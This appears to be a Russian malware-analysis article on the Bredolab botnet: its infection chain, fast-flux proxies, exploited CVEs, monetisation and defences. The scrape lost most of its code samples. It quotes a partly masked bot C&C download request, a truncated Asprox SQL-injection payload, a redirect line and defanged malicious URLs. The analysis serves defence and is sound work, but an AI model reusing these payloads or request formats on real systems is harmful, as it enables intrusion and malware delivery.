Главная » Статьи » Аналитика, тесты |
Немного истории. 25 октября 2010 года отдел полиции по борьбе с киберпреступлениями Нидерландов объявил об обезвреживании 143 контролирующих серверов известного ботнета Bredolab. На следующий день после проведённой операции, в Международном аэропорту города Еревана (Армения) был задержан один из владельцев отключенной зомби-сети. Но вот, что важно: возможно, что для ботнета Bredolab все и закончено, но технологии, использованные для его создания, живы и могут послужить для создания других ботнетов. История и особенности создания ботнета BredolabВредоносные программы семейства Backdoor.Win32.Bredolab известны по крайней мере с середины 2008 года. Основной задачей Bredolab является загрузка на зараженный компьютер других вредоносных программ. Система управления загрузками, включающая в себя загрузчик (Backdoor.Win32.Bredolab) и панель администрирования, предлагалась для продажи на хакерских форумах. Именно это программное обеспечение легло в основу ботнета Bredolab, появившегося в середине 2009 года и насчитывающего, по сведениям голландской полиции, около 30 миллионов компьютеров пользователей из разных стран мира. Основная особенность ботнета состояла в способе его формирования. Для распространения вредоносной программы-бота использовались взломанные легитимные веб-сайты, посетители которых перенаправлялись на вредоносные ресурсы, с которых и происходило заражение пользовательских компьютеров Backdoor.Win32.Bredolab. И все это в автоматическом режиме. Взломанные сайтыВ самом начале существования ботнета на страницы взломанных веб-сайтов вставлялся скрытый тег Iframe со ссылкой на вредоносный ресурс. В конце 2009 года этот Iframe был заменен на обфусцированный JavaScript-код — скриптовый загрузчик Trojan-Downloader.JS.Pegel, при выполнении которого браузер расшифровывал и вставлял в HTML-страницу тег script со ссылкой на вредоносный ресурс. Задачей Pegel являлась загрузка на компьютер жертвы эксплойтов, которые в свою очередь загружали Bredolab. С середины лета 2010 года злоумышленники вновь стали использовать Iframe. Надо отметить, что схема распространения Bredolab была похожа на ту, которую использовали создатели ботнета Gumblar, а Pegel по способу обфускации — на скриптовый загрузчик Gumblar. Угроза носила глобальный характер. Веб-ресурсы, содержащие вредоносный код, были обнаружены в разных странах. Риску заражения Bredolab подвергались пользователи многих стран. Интернет-форумы запестрели сообщениями о внедренном в веб-страницы легитимных сайтов обфусцированном JavaScript-коде, который перенаправлял пользователей на веб-ресурсы, находящиеся под контролем злоумышленников. В начале 2010 года на форумах было много сообщений, подобных приведенному выше. Тогда одним из основных отличительных признаков Pegel являлись комментарии /*GNU GPL*/, /*LGPL*/, /*CODE1*/ или /*Exception*/, размещенные в начале вредоносного JavaScript-кода. Код зараженной страницывыглядел примерно так: В дальнейшем комментарий из кода скрипта исчез, а обфускация становилась все более сложной: Особого внимания заслуживает внешний вид ссылок на вредоносные ресурсы, используемых в течение нескольких первых месяцев с момента появления Pegel. Доменная часть и путь к вредоносному скрипту в этих ссылках состояли из известных доменных имен, следующих друг за другом, например, hxxp://twitpic-com.fastclick.com.shinobi-jp.bestb***site.ru:8080/google.com/google.com/novoteka.ru/vagos.es/radikal.ru/ Домены второго уровня состояли из идущих подряд двух-трех английских слов, друг с другом обычно не связанных. Создание вредоносных ссылок, похожих на адреса популярных веб-ресурсов, — один из излюбленных методов социальной инженерии, применяемых злоумышленниками для того, чтобы у пользователей возникало как можно меньше подозрений. Позже доменная часть ссылок стала состоять из доменов второго уровня: hxxp://help***ecare.at:8080/vkontakte-ru/google.com/chinahr.com.php Еще позже из ссылок исчезли длинные пути, путь поменялся на index.php. Fast-flux сетьДомены, содержащиеся во вредоносных ссылках, регистрировались в нескольких доменных зонах: ru, info, at, com. Каждый домен располагался на пяти IP-адресах, и, в свою очередь, каждый IP-адрес был связан со множеством вредоносных доменов. Количество IP-адресов колебалось от 20 до 40. С течением времени какие-то адреса выбывали, новые адреса добавлялись. Периодически IP-адреса, связанные с определенным доменом, менялись. A-записи в разные моменты времени Оказалось, что все используемые IP-адреса принадлежали выделенным серверам (или виртуальным выделенным серверам) разных хостинг-провайдеров. Кроме того, дальнейший анализ показал, что на порту 80 на многих таких серверах размещались и легальные веб-сайты, никак не связанные с криминалом. Подобная картина наталкивает на мысль о том, что серверы, на которых располагались вредоносные домены, возможно, были каким-то образом взломаны. Часть зарегистрированных злоумышленниками доменов использовалась для DNS-сервисов, поднятых на тех же взломанных серверах, более того, NS-записи, как и A-записи, также периодически изменялись. NS-записи в разные моменты времени Описанное выше очень напоминает работу fast-flux сетей, а конкретней — двухпоточной fast-flux сети, в которой меняются еще и адреса DNS-серверов. Еще один интересный момент: в абсолютном большинстве случаев все вредоносные ссылки указывали на порт 8080, а в HTTP-заголовках ответа сервера в поле Server значилось nginx. Nginx — это весьма популярный HTTP-сервер, который часто используется в качестве обратного прокси. Пользователи, пройдя по вредоносной ссылке, попадали на прокси-серверы, которые перенаправляли запрос к реальному центру управления ботнетом. Fast-flux сеть, состоящая из прокси-серверов, помогает скрывать командный центр ботнета от специалистов по компьютерной безопасности. Все запросы на загрузку вредоносного кода, исходящие от вредоносного JavaScript-кода и эксплойтов, а также запросы Bredolab к командному центру проходили через прокси-серверы этой fast-flux сети. Большинство доменов fast-flux сети регистрировались самими злоумышленниками. Однако в начале лета 2010 года появились домены, представляющие собой поддомены третьего уровня: kollinsoy.skyef***on.com В то время как домены третьего уровня указывали на прокси-серверы fast-flux сети ботнета Bredolab, на доменах второго уровня из этих ссылок располагались легитимные сайты. IP-адреса доменов третьего и второго уровня различались. Каким-то образом (через взлом пользовательских учетных записей или как-то иначе) злоумышленники получили возможность управлять настройками DNS этих сайтов. Заражение компьютеров пользователейПосле того как браузер пользователя с помощью Pegel или с помощью Iframe перенаправлялся на вредоносный сайт, с этого сайта скачивался JavaScript-код: который после деобфускации выглядит так: Отработав, JavaScript-код внедрял в страницу следующий HTML-код: <div id="DIV"> По ссылке скачивался еще один JavaScript-код. Его фрагмент после деобфускации выглядит так: Этот код перенаправлял запрос пользователя в браузере на эксплойты. Эксплойты использовали уязвимости: в Adobe Acrobat — в функциях util.printf (CVE-2008-2992), Collab.collectEmailInfo (CVE-2008-0655), Collab.getIcon (CVE-2009-0927), media.newPlayer (CVE-2009-4324); в виртуальной Java-машине (CVE-2010-0886) и в MDAC RDS.Dataspace ActiveX компоненте (CVE-2006-0003). Фрагмент деобфусцированного JavaScript-кода в pdf-эксплойте Java-эксплойт загружался в два этапа: сначала скачивалась страница Applet1.html, содержащая тег <applet> с именами jar-файлов. Затем загружались сами эксплойты. HTML-страница Applet1.html, загружающая java-эксплойт Отработав, эксплойты загружали на компьютер жертвы и запускали вредоносную программу Backdoor.Win32.Bredolab, основным предназначением которой является загрузка и запуск другого вредоносного ПО. Ботнет в действииЗапустившись на компьютере жертвы, для загрузки дополнительных вредоносных программ бот отправляет своему командному центру запрос следующего вида: http://ba***il.ru:8080/new/controller.php?action=bot&entity_list=&first=1&rnd=981633&id=1&guid=3676040431. В теле ответа, приходящего с командного центра ботнета, находятся зашифрованные исполняемые файлы (как правило, 3-4 файла), идущие друг за другом. В заголовке ответа содержится поле Entity-Info, состоящее из списка элементов, разделенных точкой с запятой. Каждый элемент описывает один исполняемый файл, находящийся в теле ответа. Элемент разделен двоеточиями на числовые поля, например второе поле каждого элемента содержит размер соответствующего исполняемого файла. Таким образом, можно определить, где заканчивается один файл и начинается следующий. В заголовке ответа в поле Magic-Number содержится ключ для расшифровки тела ответа. Он состоит из чисел, разделенных символом ‘|’. Первое число является длиной ключа, второе — обозначает алгоритм шифрования, цифра 1 — это обычный XOR; оставшаяся часть поля представляет собой сам ключ расшифровки. Здесь необходимо отметить, что и вредоносный JavaScript-код, и эксплойты, и Bredolab, и другие вредоносные программы, устанавливаемые Bredolab на компьютер жертвы, загружались с одних и тех же доменов, входящих в fast-flux сеть ботнета Bredolab. Bredolab загружал на компьютер жертвы довольно широкий спектр вредоносного ПО: Trojan-Spy.Win32.Zbot, И список этот далеко не полный. Некоторые из этих вредоносных программ передают в запросах к своим командным центрам параметры, обозначающие идентификационный номер партнера. Например, Backdoor.Win32.Shiz, загруженный Bredolab, передает параметр seller=15, означающий, что он был установлен в систему с помощью Bredolab. Передача таких идентификационных номеров на C&C обычно свидетельствует о том, что вредоносная программа распространяется через партнерки. Это, а также разнообразие софта, загружаемого Bredolab, указывает на то, каким образом владельцы ботнета Bredolab монетизировали свои усилия по созданию ботнета — они зарабатывали на загрузках, то есть принимали заказы от других злоумышленников на загрузку их вредоносного ПО. Из всего набора загружаемого ПО особого внимания заслуживает Trojan-PSW.Win32.Agent.qgg. Будучи установленным на пользовательской машине, этот троянец пытается найти пароли к ftp-аккаунтам, сохраненные следующими клиентами:
Найдя пароли, троянец отправляет их на сервер злоумышленников. Trojan-PSW.Win32.Agent.qgg интересен потому, что сервер, на который этот троянец отправлял украденные пароли, принадлежал самим владельцам ботнета Bredolab. И именно с помощью украденных паролей к ftp-аккаунтам происходило заражение легальных сайтов вредоносным кодом. Такая замкнутая схема оказалась довольно эффективной. Вредоносный циклПосле детального изучения стала ясна более или менее полная картина создания ботнета.
Очевидно, что машины, участвовавшие в заражении сайта, являлись прокси-серверами. Злоумышленники использовали две группы прокси-серверов: одну для заражения пользовательской машины, вторую — для заражения сайта. Пересечений между первой и второй группой прокси-серверов выявлено не было. Эту схему распространения злоумышленники использовали на протяжении всего времени существования ботнета Bredolab. ТрафикОписанная выше схема самоподдержания ботнета, безусловно, эффективна, хотя бы в силу автоматизации процесса заражения новых пользовательских машин. Однако у нее есть один недостаток. Схема начинает работать с момента, когда пользователя перенаправляют с зараженного легитимного ресурса на вредоносный домен из fast-flux сети. При этом количество зараженных Bredolab компьютеров пользователей, имеющих административный доступ к каким-либо веб-сайтам, ограничено. Соответственно, ограничено и число веб-ресурсов, которые злоумышленники могли инфицировать, используя украденные у этих пользователей пароли к ftp-аккаунтам. Сайты с высокой посещаемостью достаточно оперативно очищались от вредоносного ПО — чем больше аудитория сайта, тем больше вероятность того, что кто-то из посетителей заметит неладное и сообщит администрации сайта. Количество зараженных в результате работы этой схемы компьютеров оказалось не достаточным для злоумышленников. Чтобы повысить эффективность атаки, необходимо было увеличить трафик число посетителей, перенаправленных на вредоносные домены fast-flux сети. Сделать это злоумышленники пытались различными способами. Зараженные обфусцированным JavaScript-кодом легитимные сайты использовались для перенаправления пользователей на вредоносные ресурсы с декабря 2009 года. Вредоносный код мог поджидать пользователей даже на очень популярных сайтах. Открытая пользователем в браузере веб-страница – в кодовом виде – могла, например, иметь следующий вид: После исполнения браузером зашифрованного кода в страницу вставлялся тег <script>, содержащий Trojan-Downloader.JS.Pegel, который перенаправлял пользователя на вредоносный ресурс. Пользователи могли получить ссылку на вредоносный контент «с доставкой на дом» в спаме. В июне 2010 года модификация Trojan-Downloader.JS.Pegel.g заняла первое место в списке наиболее распространенных в почте вредоносных вложений. Наиболее распространенные в почте вредоносные файлы в июне 2010 г. Некоторые вредоносные спам-атаки были довольно изощренными. В том же июне прошла волна спама, имитировавшего сообщения от имени таких популярных сайтов, как Twitter, Youtube, Amazon, Facebook, Skype и др. Письма содержали либо вредоносный код Pegel в HTML-вложении, либо ссылки на зараженные сайты. Пример спам-письма со ссылками на вредоносный сайт Если пользователь проходил по ссылке, то с зараженного сайта в браузер загружалась HTML-страница, имеющая следующий код: PLEASE WAITING 4 SECOND... <meta http-equiv="refresh" content="4;url=http://spr***team.com"> Тег meta-refresh через несколько секунд перенаправлял пользователя на страницу сайта Canadian Pharmacy, торгующего виагрой и другими медикаментами. В то же время по ссылке, содержащейся в теге Iframe, браузер перенаправлялся на один из прокси-серверов, входящих в fast-flux сеть, для заражения пользовательского компьютера Bredolab. В августе был замечен еще один источник трафика. Спам-бот Asprox, обладающий возможностью осуществлять SQL-инъекции сайтов, написанных на ASP, начал заражать легитимные сайты, внедряя в них Iframe со ссылкой на nem****n.ru/tds/go.php?sid=1. GET /page.asp?id=425; declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320... Пример SQL-инъекции, используемой ботом Asprox После того как пользователь заходил на зараженный сайт, его браузер открывал ссылку, содержащуюся в теге Iframe. По этой ссылке размещалась TDS (traffic distribution system — система распределения трафика), которая перенаправляла браузер на вредоносные домены, входящие в принадлежащую владельцам ботнета Bredolab fast-flux сеть, для заражения компьютера пользователя Bredolab. В сутки таким образом перенаправлялось около 10 тыс. пользователей. Наконец, в сентябре стало известно об очередном способе перенаправления пользователей на домены fast-flux сети ботнета Bredolab. Взлому подверглись легитимные сайты, использующие баннерный движок OpenX для показа рекламы. Эксплуатировалась уязвимость в компоненте Open Flash Chart 2, позволяющая злоумышленникам загружать произвольные файлы на сервер. В итоге на популярных сайтах, в числе которых оказались thepiratebay.org, tucows.com, afterdawn.com, esarcasm.com, tutu.ru, были подменены баннеры. Баннеры представляли собой флеш-файлы, содержащие ActionScript-код, который перенаправлял пользователей на вредоносные ресурсы. В то же время на официальный сайт проекта OpenX была организована DDoS-атака — в результате пользователи в течение нескольких дней были лишены возможности скачать обновление движка и тем самым закрыть уязвимость. Фрагмент вредоносного swf-файла Фрагмент ActionScript-кода, вставляющего в HTTP-страницу тег script со ссылкой на вредоносный сайт После сильного всплеска в июне, связанного с распространением в спаме писем со ссылками на вредоносные ресурсы ботнета, произошел спад активности Pegel. Несмотря на это, угроза еще могла бы проявить себя — если бы всему ботнету Bredolab не пришел конец. ЗаключениеВладельцы ботнета Bredolab создали 30-миллионную зомби-сеть, которая функционировала в течение продолжительного времени. Для поддержания ботнета в рабочем состоянии злоумышленники довольно умело и эффективно скрывали центр управления ботнетом, используя технику fast-flux сетей. Такая схема не только обеспечивает хорошую отказоустойчивость командного центра ботнета, но и упрощает управление вредоносным контентом: вместо того чтобы администрировать вредоносные сайты на множестве узлов, киберпреступникам достаточно разместить один такой сайт на C&C и настроить на него редиректоры. Ботнет Bredolab ввиду своей сложности, скорее всего, контролировался не одним человеком. Однако пока известно об аресте только одного злоумышленника, связанного с этим ботнетом. Существует вероятность того, что остальные участники преступной группы спустя какое-то время продолжат свое дело, так как схема, придуманная и реализованная ими, достаточно эффективна. Технологии, использованные для создания и поддержки работоспособности ботнета: обфускация JavaScript кода, загружающего эксплойты, замкнутый цикл построения зомби-сети, создание сетевой инфраструктуры, использующей fast-flux, и т.д. — могут быть приняты на вооружение и другими злоумышленниками. Одной из главных особенностей ботнета Bredolab являлся близкий к замкнутому цикл построения зомби-сети, когда инфицированные пользовательские машины заражают веб сайты, посредством которых заражаются новые пользовательские ПК. Плюс к этому постоянно шел поиск новых способов перенаправления пользователей на вредоносные домены. Основным источником опасности при такой схеме служат зараженные веб-сайты, посещение которых приводит к тому, что на машины пользователей загружается вредоносное ПО. Информация с зараженных пользовательских компьютеров в свою очередь может быть использована для заражения веб-сайтов. Для того чтобы обезопасить себя от подобного типа угроз, необходимо придерживаться следующих рекомендаций по защите пользовательских компьютеров и веб-сайтов. Защита пользовательских компьютеров
Защита сайтов
Следуя приведенным выше рекомендациям, можно значительно снизить риск того, что ваши компьютерные ресурсы окажутся частью какого-нибудь ботнета. Не забывайте, что заражение проще предупредить, чем вылечить. | |||||||||||||||
Просмотров: 707 | | |
Всего комментариев: 0 | |